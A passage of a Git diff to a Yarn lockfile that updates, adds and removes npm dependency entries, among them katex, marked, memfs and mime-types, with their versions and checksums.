10c0/444cf1291d997165dfd4c0d58b69f0e4782bfd9149fd72faa4fe299e68e0e93d6db941660b37dd29153bf7186672ececa3b50b7e7249477b03fdf850f287c948 - languageName: node - linkType: hard - "fsevents@npm:~2.3.2": version: 2.3.3 resolution: "fsevents@npm:2.3.3" @@ -6475,6 +6660,13 @@ __metadata: languageName: node linkType: hard +"generator-function@npm:^2.0.0": + version: 2.0.1 + resolution: "generator-function@npm:2.0.1" + checksum: 10c0/8a9f59df0f01cfefafdb3b451b80555e5cf6d76487095db91ac461a0e682e4ff7a9dbce15f4ecec191e53586d59eece01949e05a4b4492879600bbbe8e28d6b8 + languageName: node + linkType: hard + "gensync@npm:^1.0.0-beta.2": version: 1.0.0-beta.2 resolution: "gensync@npm:1.0.0-beta.2" @@ -6483,20 +6675,23 @@ __metadata: linkType: hard "get-intrinsic@npm:^1.2.4, get-intrinsic@npm:^1.2.5, get-intrinsic@npm:^1.3.0": - version: 1.3.0 - resolution: "get-intrinsic@npm:1.3.0" + version: 1.3.1 + resolution: "get-intrinsic@npm:1.3.1" dependencies: + async-function: "npm:^1.0.0" + async-generator-function: "npm:^1.0.0" call-bind-apply-helpers: "npm:^1.0.2" es-define-property: "npm:^1.0.1" es-errors: "npm:^1.3.0" es-object-atoms: "npm:^1.1.1" function-bind: "npm:^1.1.2" + generator-function: "npm:^2.0.0" get-proto: "npm:^1.0.1" gopd: "npm:^1.2.0" has-symbols: "npm:^1.1.0" hasown: "npm:^2.0.2" math-intrinsics: "npm:^1.1.0" - checksum: 10c0/52c81808af9a8130f581e6a6a83e1ba4a9f703359e7a438d1369a5267a25412322f03dcbd7c549edaef0b6214a0630a28511d7df0130c93cfd380f4fa0b5b66a + checksum: 10c0/9f4ab0cf7efe0fd2c8185f52e6f637e708f3a112610c88869f8f041bb9ecc2ce44bf285dfdbdc6f4f7c277a5b88d8e94a432374d97cca22f3de7fc63795deb5d languageName: node linkType: hard @@ -6549,6 +6744,15 @@ __metadata: languageName: node linkType: hard +"glob-to-regex.js@npm:^1.0.1": + version: 1.2.0 + resolution: "glob-to-regex.js@npm:1.2.0" + peerDependencies: + tslib: 2 + checksum: 10c0/011c81ae2a4d7ac5fd617038209fd9639d54c76211cc88fe8dd85d1a0850bc683a63cf5b1eae370141fca7dd2c834dfb9684dfdd8bf7472f2c1e4ef6ab6e34f9 + languageName: node + linkType: hard + "glob-to-regexp@npm:^0.4.1": version: 0.4.1 resolution: "glob-to-regexp@npm:0.4.1" @@ -6572,20 +6776,6 @@ __metadata: languageName: node linkType: hard -"glob@npm:^7.0.0, glob@npm:^7.1.3, glob@npm:^7.1.6": - version: 7.2.3 - resolution: "glob@npm:7.2.3" - dependencies: - fs.realpath: "npm:^1.0.0" - inflight: "npm:^1.0.4" - inherits: "npm:2" - minimatch: "npm:^3.1.1" - once: "npm:^1.3.0" - path-is-absolute: "npm:^1.0.0" - checksum: 10c0/65676153e2b0c9095100fe7f25a778bf45608eeb32c6048cf307f579649bcc30353277b3b898a3792602c65764e5baa4f643714dfbdfd64ea271d210c7a425fe - languageName: node - linkType: hard - "global-dirs@npm:^3.0.0": version: 3.0.1 resolution: "global-dirs@npm:3.0.1" @@ -6595,34 +6785,7 @@ __metadata: languageName: node linkType: hard -"global-modules@npm:^2.0.0": - version: 2.0.0 - resolution: "global-modules@npm:2.0.0" - dependencies: - global-prefix: "npm:^3.0.0" - checksum: 10c0/43b770fe24aa6028f4b9770ea583a47f39750be15cf6e2578f851e4ccc9e4fa674b8541928c0b09c21461ca0763f0d36e4068cec86c914b07fd6e388e66ba5b9 - languageName: node - linkType: hard - -"global-prefix@npm:^3.0.0": - version: 3.0.0 - resolution: "global-prefix@npm:3.0.0" - dependencies: - ini: "npm:^1.3.5" - kind-of: "npm:^6.0.2" - which: "npm:^1.3.1" - checksum: 10c0/510f489fb68d1cc7060f276541709a0ee6d41356ef852de48f7906c648ac223082a1cc8fce86725ca6c0e032bcdc1189ae77b4744a624b29c34a9d0ece498269 - languageName: node - linkType: hard - -"globals@npm:^11.1.0": - version: 11.12.0 - resolution: "globals@npm:11.12.0" - checksum: 10c0/758f9f258e7b19226bd8d4af5d3b0dcf7038780fb23d82e6f98932c44e239f884847f1766e8fa9cc5635ccb3204f7fa7314d4408dd4002a5e8ea827b4018f0a1 - languageName: node - linkType: hard - -"globby@npm:^11.0.1, globby@npm:^11.0.4, globby@npm:^11.1.0": +"globby@npm:^11.1.0": version: 11.1.0 resolution: "globby@npm:11.1.0" dependencies: @@ -6756,6 +6919,43 @@ __metadata: languageName: node linkType: hard +"hast-util-from-dom@npm:^5.0.0": + version: 5.0.1 + resolution: "hast-util-from-dom@npm:5.0.1" + dependencies: + "@types/hast": "npm:^3.0.0" + hastscript: "npm:^9.0.0" + web-namespaces: "npm:^2.0.0" + checksum: 10c0/9a90381e048107a093a3da758bb17b67aaf5322e222f02497f841c4990abf94aa177d38d5b9bf61ad07b3601d0409f34f5b556d89578cc189230c6b994d2af77 + languageName: node + linkType: hard + +"hast-util-from-html-isomorphic@npm:^2.0.0": + version: 2.0.0 + resolution: "hast-util-from-html-isomorphic@npm:2.0.0" + dependencies: + "@types/hast": "npm:^3.0.0" + hast-util-from-dom: "npm:^5.0.0" + hast-util-from-html: "npm:^2.0.0" + unist-util-remove-position: "npm:^5.0.0" + checksum: 10c0/fc68d9245e794483a802d5c85a9f6c25959e00db78cc796411efc965134f3206f9cc9fa38134572ea781ad74663e801f1f83202007b208e27a770855566a62b6 + languageName: node + linkType: hard + +"hast-util-from-html@npm:^2.0.0": + version: 2.0.3 + resolution: "hast-util-from-html@npm:2.0.3" + dependencies: + "@types/hast": "npm:^3.0.0" + devlop: "npm:^1.1.0" + hast-util-from-parse5: "npm:^8.0.0" + parse5: "npm:^7.0.0" + vfile: "npm:^6.0.0" + vfile-message: "npm:^4.0.0" + checksum: 10c0/993ef707c1a12474c8d4094fc9706a72826c660a7e308ea54c50ad893353d32e139b7cbc67510c2e82feac572b320e3b05aeb13d0f9c6302d61261f337b46764 + languageName: node + linkType: hard + "hast-util-from-parse5@npm:^8.0.0": version: 8.0.3 resolution: "hast-util-from-parse5@npm:8.0.3" @@ -6772,6 +6972,15 @@ __metadata: languageName: node linkType: hard +"hast-util-is-element@npm:^3.0.0": + version: 3.0.0 + resolution: "hast-util-is-element@npm:3.0.0" + dependencies: + "@types/hast": "npm:^3.0.0" + checksum: 10c0/f5361e4c9859c587ca8eb0d8343492f3077ccaa0f58a44cd09f35d5038f94d65152288dcd0c19336ef2c9491ec4d4e45fde2176b05293437021570aa0bc3613b + languageName: node + linkType: hard + "hast-util-parse-selector@npm:^4.0.0": version: 4.0.0 resolution: "hast-util-parse-selector@npm:4.0.0" @@ -6864,6 +7073,18 @@ __metadata: languageName: node linkType: hard +"hast-util-to-text@npm:^4.0.0": + version: 4.0.2 + resolution: "hast-util-to-text@npm:4.0.2" + dependencies: + "@types/hast": "npm:^3.0.0" + "@types/unist": "npm:^3.0.0" + hast-util-is-element: "npm:^3.0.0" + unist-util-find-after: "npm:^5.0.0" + checksum: 10c0/93ecc10e68fe5391c6e634140eb330942e71dea2724c8e0c647c73ed74a8ec930a4b77043b5081284808c96f73f2bee64ee416038ece75a63a467e8d14f09946 + languageName: node + linkType: hard + "hast-util-whitespace@npm:^3.0.0": version: 3.0.0 resolution: "hast-util-whitespace@npm:3.0.0" @@ -6930,13 +7151,6 @@ __metadata: languageName: node linkType: hard -"html-entities@npm:^2.3.2": - version: 2.6.0 - resolution: "html-entities@npm:2.6.0" - checksum: 10c0/7c8b15d9ea0cd00dc9279f61bab002ba6ca8a7a0f3c36ed2db3530a67a9621c017830d1d2c1c65beb9b8e3436ea663e9cf8b230472e0e413359399413b27c8b7 - languageName: node - linkType: hard - "html-escaper@npm:^2.0.2": version: 2.0.2 resolution: "html-escaper@npm:2.0.2" @@ -6993,8 +7207,8 @@ __metadata: linkType: hard "html-webpack-plugin@npm:^5.6.0": - version: 5.6.3 - resolution: "html-webpack-plugin@npm:5.6.3" + version: 5.6.4 + resolution: "html-webpack-plugin@npm:5.6.4" dependencies: "@types/html-minifier-terser": "npm:^6.0.0" html-minifier-terser: "npm:^6.0.2" @@ -7009,7 +7223,7 @@ __metadata: optional: true webpack: optional: true - checksum: 10c0/25a21f83a8823d3711396dd8050bc0080c0ae55537352d432903eff58a7d9838fc811e3c26462419036190720357e67c7977efd106fb9a252770632824f0cc25 + checksum: 10c0/c3acef1e2a007e2dfc67610eaf366bd13cb7e4a024ceef7f181eb7b7375dde2521543108377802f920cce4d3c842e2aafaef53254c08b8d400fbce56ff1715f3 languageName: node linkType: hard @@ -7093,7 +7307,7 @@ __metadata: languageName: node linkType: hard -"http-proxy-middleware@npm:^2.0.3": +"http-proxy-middleware@npm:^2.0.9": version: 2.0.9 resolution: "http-proxy-middleware@npm:2.0.9" dependencies: @@ -7149,6 +7363,13 @@ __metadata: languageName: node linkType: hard +"hyperdyperid@npm:^1.2.0": + version: 1.2.0 + resolution: "hyperdyperid@npm:1.2.0" + checksum: 10c0/885ba3177c7181d315a856ee9c0005ff8eb5dcb1ce9e9d61be70987895d934d84686c37c981cceeb53216d4c9c15c1cc25f1804e84cc6a74a16993c5d7fd0893 + languageName: node + linkType: hard + "hyphenate-style-name@npm:^1.0.0": version: 1.1.0 resolution: "hyphenate-style-name@npm:1.1.0" @@ -7190,25 +7411,16 @@ __metadata: languageName: node linkType: hard -"image-size@npm:^1.0.2": - version: 1.2.1 - resolution: "image-size@npm:1.2.1" - dependencies: - queue: "npm:6.0.2" +"image-size@npm:^2.0.2": + version: 2.0.2 + resolution: "image-size@npm:2.0.2" bin: image-size: bin/image-size.js - checksum: 10c0/f8b3c19d4476513f1d7e55c3e6db80997b315444743e2040d545cbcaee59be03d2eb40c46be949a8372697b7003fdb0c04925d704390a7f606bc8181e25c0ed4 - languageName: node - linkType: hard - -"immer@npm:^9.0.7": - version: 9.0.21 - resolution: "immer@npm:9.0.21" - checksum: 10c0/03ea3ed5d4d72e8bd428df4a38ad7e483ea8308e9a113d3b42e0ea2cc0cc38340eb0a6aca69592abbbf047c685dbda04e3d34bf2ff438ab57339ed0a34cc0a05 + checksum: 10c0/f09dd0f7cf8511cd20e4f756bdb5a7cb6d2240de3323f41bde266bed8373392a293892bf12e907e2995f52833fd88dd27cf6b1a52ab93968afc716cb78cd7b79 languageName: node linkType: hard -"import-fresh@npm:^3.1.0, import-fresh@npm:^3.3.0": +"import-fresh@npm:^3.3.0": version: 3.3.1 resolution: "import-fresh@npm:3.3.1" dependencies: @@ -7246,30 +7458,20 @@ __metadata: languageName: node linkType: hard -"inflight@npm:^1.0.4": - version: 1.0.6 - resolution: "inflight@npm:1.0.6" - dependencies: - once: "npm:^1.3.0" - wrappy: "npm:1" - checksum: 10c0/7faca22584600a9dc5b9fca2cd5feb7135ac8c935449837b315676b4c90aa4f391ec4f42240178244b5a34e8bede1948627fda392ca3191522fc46b34e985ab2 +"inherits@npm:2.0.3": + version: 2.0.3 + resolution: "inherits@npm:2.0.3" + checksum: 10c0/6e56402373149ea076a434072671f9982f5fad030c7662be0332122fe6c0fa490acb3cc1010d90b6eff8d640b1167d77674add52dfd1bb85d545cf29e80e73e7 languageName: node linkType: hard -"inherits@npm:2, inherits@npm:2.0.4, inherits@npm:^2.0.1, inherits@npm:^2.0.3, inherits@npm:~2.0.3": +"inherits@npm:2.0.4, inherits@npm:^2.0.1, inherits@npm:^2.0.3, inherits@npm:~2.0.3": version: 2.0.4 resolution: "inherits@npm:2.0.4" checksum: 10c0/4e531f648b29039fb7426fb94075e6545faa1eb9fe83c29f0b6d9e7263aceb4289d2d4557db0d428188eeb449cc7c5e77b0a0b2c4e248ff2a65933a0dee49ef2 languageName: node linkType: hard -"inherits@npm:2.0.3": - version: 2.0.3 - resolution: "inherits@npm:2.0.3" - checksum: 10c0/6e56402373149ea076a434072671f9982f5fad030c7662be0332122fe6c0fa490acb3cc1010d90b6eff8d640b1167d77674add52dfd1bb85d545cf29e80e73e7 - languageName: node - linkType: hard - "ini@npm:2.0.0": version: 2.0.0 resolution: "ini@npm:2.0.0" @@ -7277,7 +7479,7 @@ __metadata: languageName: node linkType: hard -"ini@npm:^1.3.4, ini@npm:^1.3.5, ini@npm:~1.3.0": +"ini@npm:^1.3.4, ini@npm:~1.3.0": version: 1.3.8 resolution: "ini@npm:1.3.8" checksum: 10c0/ec93838d2328b619532e4f1ff05df7909760b6f66d9c9e2ded11e5c1897d6f2f9980c54dd638f88654b00919ce31e827040631eab0a3969e4d1abefa0719516a @@ -7291,13 +7493,6 @@ __metadata: languageName: node linkType: hard -"interpret@npm:^1.0.0": - version: 1.4.0 - resolution: "interpret@npm:1.4.0" - checksum: 10c0/08c5ad30032edeec638485bc3f6db7d0094d9b3e85e0f950866600af3c52e9fd69715416d29564731c479d9f4d43ff3e4d302a178196bdc0e6837ec147640450 - languageName: node - linkType: hard - "invariant@npm:^2.2.4": version: 2.2.4 resolution: "invariant@npm:2.2.4" @@ -7307,13 +7502,10 @@ __metadata: languageName: node linkType: hard -"ip-address@npm:^9.0.5": - version: 9.0.5 - resolution: "ip-address@npm:9.0.5" - dependencies: - jsbn: "npm:1.1.0" - sprintf-js: "npm:^1.1.3" - checksum: 10c0/331cd07fafcb3b24100613e4b53e1a2b4feab11e671e655d46dc09ee233da5011284d09ca40c4ecbdfe1d0004f462958675c224a804259f2f78d2465a87824bc +"ip-address@npm:^10.0.1": + version: 10.0.1 + resolution: "ip-address@npm:10.0.1" + checksum: 10c0/1634d79dae18394004775cb6d699dc46b7c23df6d2083164025a2b15240c1164fccde53d0e08bd5ee4fc53913d033ab6b5e395a809ad4b956a940c446e948843 languageName: node linkType: hard @@ -7324,7 +7516,7 @@ __metadata: languageName: node linkType: hard -"ipaddr.js@npm:^2.0.1": +"ipaddr.js@npm:^2.1.0": version: 2.2.0 resolution: "ipaddr.js@npm:2.2.0" checksum: 10c0/e4ee875dc1bd92ac9d27e06cfd87cdb63ca786ff9fd7718f1d4f7a8ef27db6e5d516128f52d2c560408cbb75796ac2f83ead669e73507c86282d45f84c5abbb6 @@ -7400,6 +7592,15 @@ __metadata: languageName: node linkType: hard +"is-docker@npm:^3.0.0": + version: 3.0.0 + resolution: "is-docker@npm:3.0.0" + bin: + is-docker: cli.js + checksum: 10c0/d2c4f8e6d3e34df75a5defd44991b6068afad4835bb783b902fa12d13ebdb8f41b2a199dcb0b5ed2cb78bfee9e4c0bbdb69c2d9646f4106464674d3e697a5856 + languageName: node + linkType: hard + "is-extendable@npm:^0.1.0": version: 0.1.1 resolution: "is-extendable@npm:0.1.1" @@ -7437,6 +7638,17 @@ __metadata: languageName: node linkType: hard +"is-inside-container@npm:^1.0.0": + version: 1.0.0 + resolution: "is-inside-container@npm:1.0.0" + dependencies: + is-docker: "npm:^3.0.0" + bin: + is-inside-container: cli.js + checksum: 10c0/a8efb0e84f6197e6ff5c64c52890fa9acb49b7b74fed4da7c95383965da6f0fa592b4dbd5e38a79f87fc108196937acdbcd758fcefc9b140e479b39ce1fcd1cd + languageName: node + linkType: hard + "is-installed-globally@npm:^0.4.0": version: 0.4.0 resolution: "is-installed-globally@npm:0.4.0" @@ -7447,10 +7659,17 @@ __metadata: languageName: node linkType: hard +"is-network-error@npm:^1.0.0": + version: 1.3.0 + resolution: "is-network-error@npm:1.3.0" + checksum: 10c0/3e85a69e957988db66d5af5412efdd531a5a63e150d1bdd5647cfd4dc54fd89b1dbdd472621f8915233c3176ba1e6922afa8a51a9e363ba4693edf96a294f898 + languageName: node + linkType: hard + "is-npm@npm:^6.0.0": - version: 6.0.0 - resolution: "is-npm@npm:6.0.0" - checksum: 10c0/1f064c66325cba6e494783bee4e635caa2655aad7f853a0e045d086e0bb7d83d2d6cdf1745dc9a7c7c93dacbf816fbee1f8d9179b02d5d01674d4f92541dc0d9 + version: 6.1.0 + resolution: "is-npm@npm:6.1.0" + checksum: 10c0/2319580963e7b77f51b07d242064926894472e0b8aab7d4f67aa58a2032715a18c77844a2d963718b8ee1eac112ce4dbcd55a9d994f589d5994d46b57b5cdfda languageName: node linkType: hard @@ -7475,13 +7694,6 @@ __metadata: languageName: node linkType: hard -"is-path-cwd@npm:^2.2.0": - version: 2.2.0 - resolution: "is-path-cwd@npm:2.2.0" - checksum: 10c0/afce71533a427a759cd0329301c18950333d7589533c2c90205bd3fdcf7b91eb92d1940493190567a433134d2128ec9325de2fd281e05be1920fbee9edd22e0a - languageName: node - linkType: hard - "is-path-inside@npm:^3.0.2": version: 3.0.3 resolution: "is-path-inside@npm:3.0.3" @@ -7519,13 +7731,6 @@ __metadata: languageName: node linkType: hard -"is-root@npm:^2.1.0": - version: 2.1.0 - resolution: "is-root@npm:2.1.0" - checksum: 10c0/83d3f5b052c3f28fbdbdf0d564bdd34fa14933f5694c78704f85cd1871255bc017fbe3fe2bc2fff2d227c6be5927ad2149b135c0a7c0060e7ac4e610d81a4f01 - languageName: node - linkType: hard - "is-stream@npm:^2.0.0": version: 2.0.1 resolution: "is-stream@npm:2.0.1" @@ -7549,6 +7754,15 @@ __metadata: languageName: node linkType: hard +"is-wsl@npm:^3.1.0": + version: 3.1.0 + resolution: "is-wsl@npm:3.1.0" + dependencies: + is-inside-container: "npm:^1.0.0" + checksum: 10c0/d3317c11995690a32c362100225e22ba793678fe8732660c6de511ae71a0ff05b06980cf21f98a6bf40d7be0e9e9506f859abe00a1118287d63e53d0a3d06947 + languageName: node + linkType: hard + "is-yarn-global@npm:^0.4.0": version: 0.4.1 resolution: "is-yarn-global@npm:0.4.1" @@ -7650,12 +7864,12 @@ __metadata: languageName: node linkType: hard -"jiti@npm:^2.4.2": - version: 2.4.2 - resolution: "jiti@npm:2.4.2" +"jiti@npm:^2.6.0": + version: 2.6.1 + resolution: "jiti@npm:2.6.1" bin: jiti: lib/jiti-cli.mjs - checksum: 10c0/4ceac133a08c8faff7eac84aabb917e85e8257f5ad659e843004ce76e981c457c390a220881748ac67ba1b940b9b729b30fb85cbaf6e7989f04b6002c94da331 + checksum: 10c0/79b2e96a8e623f66c1b703b98ec1b8be4500e1d217e09b09e343471bbb9c105381b83edbb979d01cef18318cc45ce6e153571b6c83122170eefa531c64b6789b languageName: node linkType: hard @@ -7702,14 +7916,7 @@ __metadata: languageName: node linkType: hard -"jsbn@npm:1.1.0": - version: 1.1.0 - resolution: "jsbn@npm:1.1.0" - checksum: 10c0/4f907fb78d7b712e11dea8c165fe0921f81a657d3443dde75359ed52eb2b5d33ce6773d97985a089f09a65edd80b11cb75c767b57ba47391fee4c969f7215c96 - languageName: node - linkType: hard - -"jsesc@npm:^3.0.2": +"jsesc@npm:^3.0.2, jsesc@npm:~3.1.0": version: 3.1.0 resolution: "jsesc@npm:3.1.0" bin: @@ -7718,15 +7925,6 @@ __metadata: languageName: node linkType: hard -"jsesc@npm:~3.0.2": - version: 3.0.2 - resolution: "jsesc@npm:3.0.2" - bin: - jsesc: bin/jsesc - checksum: 10c0/ef22148f9e793180b14d8a145ee6f9f60f301abf443288117b4b6c53d0ecd58354898dc506ccbb553a5f7827965cd38bc5fb726575aae93c5e8915e2de8290e1 - languageName: node - linkType: hard - "json-buffer@npm:3.0.1": version: 3.0.1 resolution: "json-buffer@npm:3.0.1" @@ -7755,6 +7953,13 @@ __metadata: languageName: node linkType: hard +"json-schema@npm:^0.4.0": + version: 0.4.0 + resolution: "json-schema@npm:0.4.0" + checksum: 10c0/d4a637ec1d83544857c1c163232f3da46912e971d5bf054ba44fdb88f07d8d359a462b4aec46f2745efbc57053365608d88bc1d7b1729f7b4fc3369765639ed3 + languageName: node + linkType: hard + "json5@npm:^2.1.2, json5@npm:^2.2.3": version: 2.2.3 resolution: "json5@npm:2.2.3" @@ -7765,15 +7970,26 @@ __metadata: linkType: hard "jsonfile@npm:^6.0.1": - version: 6.1.0 - resolution: "jsonfile@npm:6.1.0" + version: 6.2.0 + resolution: "jsonfile@npm:6.2.0" dependencies: graceful-fs: "npm:^4.1.6" universalify: "npm:^2.0.0" dependenciesMeta: graceful-fs: optional: true - checksum: 10c0/4f95b5e8a5622b1e9e8f33c96b7ef3158122f595998114d1e7f03985649ea99cb3cd99ce1ed1831ae94c8c8543ab45ebd044207612f31a56fd08462140e46865 + checksum: 10c0/7f4f43b08d1869ded8a6822213d13ae3b99d651151d77efd1557ced0889c466296a7d9684e397bd126acf5eb2cfcb605808c3e681d0fdccd2fe5a04b47e76c0d + languageName: node + linkType: hard + +"katex@npm:^0.16.0": + version: 0.16.25 + resolution: "katex@npm:0.16.25" + dependencies: + commander: "npm:^8.3.0" + bin: + katex: cli.js + checksum: 10c0/5bb4b1cd914b76d5efb01ee054c1a221ac723be1e38fb260264c6e253036943d301c1741cbf64f840689c6b3942bce21a6da6637de846a428e4c661dc8ee46ab languageName: node linkType: hard @@ -7809,13 +8025,13 @@ __metadata: languageName: node linkType: hard -"launch-editor@npm:^2.6.0": - version: 2.10.0 - resolution: "launch-editor@npm:2.10.0" +"launch-editor@npm:^2.6.1": + version: 2.11.1 + resolution: "launch-editor@npm:2.11.1" dependencies: - picocolors: "npm:^1.0.0" - shell-quote: "npm:^1.8.1" - checksum: 10c0/8b5a26be6b0da1da039ed2254b837dea0651a6406ea4dc4c9a5b28ea72862f1b12880135c495baf9d8a08997473b44034172506781744cf82e155451a40b7d51 + picocolors: "npm:^1.1.1" + shell-quote: "npm:^1.8.3" + checksum: 10c0/b1aad04eef3a675aa35e82498bedaaeb790b9a02834a9cff79987dd7c6f5d92fd8f79ff7a8a4cd61681e0d462069de30d0bc65b41a936a7e3d700a4fdac1090e languageName: node linkType: hard @@ -7951,9 +8167,9 @@ __metadata: linkType: hard "loader-runner@npm:^4.2.0": - version: 4.3.0 - resolution: "loader-runner@npm:4.3.0" - checksum: 10c0/a44d78aae0907a72f73966fe8b82d1439c8c485238bd5a864b1b9a2a3257832effa858790241e6b37876b5446a78889adf2fcc8dd897ce54c089ecc0a0ce0bf0 + version: 4.3.1 + resolution: "loader-runner@npm:4.3.1" + checksum: 10c0/a523b6329f114e0a98317158e30a7dfce044b731521be5399464010472a93a15ece44757d1eaed1d8845019869c5390218bc1c7c3110f4eeaef5157394486eac languageName: node linkType: hard @@ -7968,32 +8184,6 @@ __metadata: languageName: node linkType: hard -"loader-utils@npm:^3.2.0": - version: 3.3.1 - resolution: "loader-utils@npm:3.3.1" - checksum: 10c0/f2af4eb185ac5bf7e56e1337b666f90744e9f443861ac521b48f093fb9e8347f191c8960b4388a3365147d218913bc23421234e7788db69f385bacfefa0b4758 - languageName: node - linkType: hard - -"locate-path@npm:^3.0.0": - version: 3.0.0 - resolution: "locate-path@npm:3.0.0" - dependencies: - p-locate: "npm:^3.0.0" - path-exists: "npm:^3.0.0" - checksum: 10c0/3db394b7829a7fe2f4fbdd25d3c4689b85f003c318c5da4052c7e56eed697da8f1bce5294f685c69ff76e32cba7a33629d94396976f6d05fb7f4c755c5e2ae8b - languageName: node - linkType: hard - -"locate-path@npm:^6.0.0": - version: 6.0.0 - resolution: "locate-path@npm:6.0.0" - dependencies: - p-locate: "npm:^5.0.0" - checksum: 10c0/d3972ab70dfe58ce620e64265f90162d247e87159b6126b01314dd67be43d50e96a50b517bce2d9452a79409c7614054c277b5232377de50416564a77ac7aad3 - languageName: node - linkType: hard - "locate-path@npm:^7.1.0": version: 7.2.0 resolution: "locate-path@npm:7.2.0" @@ -8081,12 +8271,12 @@ __metadata: languageName: node linkType: hard -"magic-string@npm:^0.30.17": - version: 0.30.17 - resolution: "magic-string@npm:0.30.17" +"magic-string@npm:^0.30.19": + version: 0.30.19 + resolution: "magic-string@npm:0.30.19" dependencies: - "@jridgewell/sourcemap-codec": "npm:^1.5.0" - checksum: 10c0/16826e415d04b88378f200fe022b53e638e3838b9e496edda6c0e086d7753a44a6ed187adc72d19f3623810589bf139af1a315541cd6a26ae0771a0193eaf7b8 + "@jridgewell/sourcemap-codec": "npm:^1.5.5" + checksum: 10c0/db23fd2e2ee98a1aeb88a4cdb2353137fcf05819b883c856dd79e4c7dfb25151e2a5a4d5dbd88add5e30ed8ae5c51bcf4accbc6becb75249d924ec7b4fbcae27 languageName: node linkType: hard @@ -8132,6 +8322,15 @@ __metadata: languageName: node linkType: hard +"marked@npm:^16.3.0": + version: 16.4.0 + resolution: "marked@npm:16.4.0" + bin: + marked: bin/marked.js + checksum: 10c0/5d5e34a913e888b3ec42b9ad69409cc674d3fb91c75fd66749280c5f0c6cf69de9f3a2076af2a952ca577dd226f05b2f3d00d6850df71c37e662f3492377a582 + languageName: node + linkType: hard + "matchmediaquery@npm:^0.4.2": version: 0.4.2 resolution: "matchmediaquery@npm:0.4.2" @@ -8288,6 +8487,21 @@ __metadata: languageName: node linkType: hard +"mdast-util-math@npm:^3.0.0": + version: 3.0.0 + resolution: "mdast-util-math@npm:3.0.0" + dependencies: + "@types/hast": "npm:^3.0.0" + "@types/mdast": "npm:^4.0.0" + devlop: "npm:^1.0.0" + longest-streak: "npm:^3.0.0" + mdast-util-from-markdown: "npm:^2.0.0" + mdast-util-to-markdown: "npm:^2.1.0" + unist-util-remove-position: "npm:^5.0.0" + checksum: 10c0/d4e839e38719f26872ed78aac18339805a892f1b56585a9cb8668f34e221b4f0660b9dfe49ec96dbbe79fd1b63b648608a64046d8286bcd2f9d576e80b48a0a1 + languageName: node + linkType: hard + "mdast-util-mdx-expression@npm:^2.0.0": version: 2.0.1 resolution: "mdast-util-mdx-expression@npm:2.0.1" @@ -8376,7 +8590,7 @@ __metadata: languageName: node linkType: hard -"mdast-util-to-markdown@npm:^2.0.0": +"mdast-util-to-markdown@npm:^2.0.0, mdast-util-to-markdown@npm:^2.1.0": version: 2.1.2 resolution: "mdast-util-to-markdown@npm:2.1.2" dependencies: @@ -8423,12 +8637,17 @@ __metadata: languageName: node linkType: hard -"memfs@npm:^3.1.2, memfs@npm:^3.4.3": - version: 3.5.3 - resolution: "memfs@npm:3.5.3" +"memfs@npm:^4.43.1": + version: 4.49.0 + resolution: "memfs@npm:4.49.0" dependencies: - fs-monkey: "npm:^1.0.4" - checksum: 10c0/038fc81bce17ea92dde15aaa68fa0fdaf4960c721ce3ffc7c2cb87a259333f5159784ea48b3b72bf9e054254d9d0d0d5209d0fdc3d07d08653a09933b168fbd7 + "@jsonjoy.com/json-pack": "npm:^1.11.0" + "@jsonjoy.com/util": "npm:^1.9.0" + glob-to-regex.js: "npm:^1.0.1" + thingies: "npm:^2.5.0" + tree-dump: "npm:^1.0.3" + tslib: "npm:^2.0.0" + checksum: 10c0/274b831d86db5ab49da35ee99dbe7d4bb60f7d33c581b9f098bd2eab603b12dac8481db2653636cffd6ff00fd52bf9e73dde52636da0a28538d257e761dd2b63 languageName: node linkType: hard @@ -8611,6 +8830,21 @@ __metadata: languageName: node linkType: hard +"micromark-extension-math@npm:^3.0.0": + version: 3.1.0 + resolution: "micromark-extension-math@npm:3.1.0" + dependencies: + "@types/katex": "npm:^0.16.0" + devlop: "npm:^1.0.0" + katex: "npm:^0.16.0" + micromark-factory-space: "npm:^2.0.0" + micromark-util-character: "npm:^2.0.0" + micromark-util-symbol: "npm:^2.0.0" + micromark-util-types: "npm:^2.0.0" + checksum: 10c0/56e6f2185a4613f9d47e7e98cf8605851c990957d9229c942b005e286c8087b61dc9149448d38b2f8be6d42cc6a64aad7e1f2778ddd86fbbb1a2f48a3ca1872f + languageName: node + linkType: hard + "micromark-extension-mdx-expression@npm:^3.0.0": version: 3.0.1 resolution: "micromark-extension-mdx-expression@npm:3.0.1" @@ -8982,7 +9216,7 @@ __metadata: languageName: node linkType: hard -"mime-db@npm:>= 1.43.0 < 2": +"mime-db@npm:>= 1.43.0 < 2, mime-db@npm:^1.54.0": version: 1.54.0 resolution: "mime-db@npm:1.54.0" checksum: 10c0/8d907917bc2a90fa2df842cdf5dfeaf509adc15fe0531e07bb2f6ab15992416479015828d6a74200041c492e42cce3ebf78e5ce714388a0a538ea9c53eece284 @@ -9005,12 +9239,21 @@ __metadata: languageName: node linkType: hard -"mime-types@npm:^2.1.27, mime-types@npm:^2.1.31, mime-types@npm:~2.1.17, mime-types@npm:~2.1.24, mime-types@npm:~2.1.34": +"mime-types@npm:^2.1.27, mime-types@npm:~2.1.17, mime-types@npm:~2.1.24, mime-types@npm:~2.1.34": version: 2.1.35 resolution: "mime-types@npm:2.1.35" dependencies: - mime-db: "npm:1.52.0" - checksum: 10c0/82fb07ec56d8ff1fc999a84f2f217aa46cb6ed1033fefaabd5785b9a974ed225c90dc72fff460259e66b95b73648596dbcc50d51ed69cdf464af2d237d3149b2 + mime-db: "npm:1.52.0" + checksum: 10c0/82fb07ec56d8ff1fc999a84f2f217aa46cb6ed1033fefaabd5785b9a974ed225c90dc72fff460259e66b95b73648596dbcc50d51ed69cdf464af2d237d3149b2 + languageName: node + linkType: hard + +"mime-types@npm:^3.0.1": + version: 3.0.1 + resolution: "mime-types@npm:3.0.1" + dependencies: + mime-db: "npm:^1.54.0" + checksum: 10c0/bd8c20d3694548089cf229016124f8f40e6a60bbb600161ae13e45f793a2d5bb40f96bbc61f275836696179c77c1d6bf4967b2a75e0a8ad40fe31f4ed5be4da5 languageName: node linkType: hard @@ -9044,15 +9287,15 @@ __metadata: languageName: node linkType: hard -"mini-css-extract-plugin@npm:^2.9.1": - version: 2.9.2 - resolution: "mini-css-extract-plugin@npm:2.9.2" +"mini-css-extract-plugin@npm:^2.9.2": + version: 2.9.4 + resolution: "mini-css-extract-plugin@npm:2.9.4" dependencies: schema-utils: "npm:^4.0.0" tapable: "npm:^2.2.1" peerDependencies: webpack: ^5.0.0 - checksum: 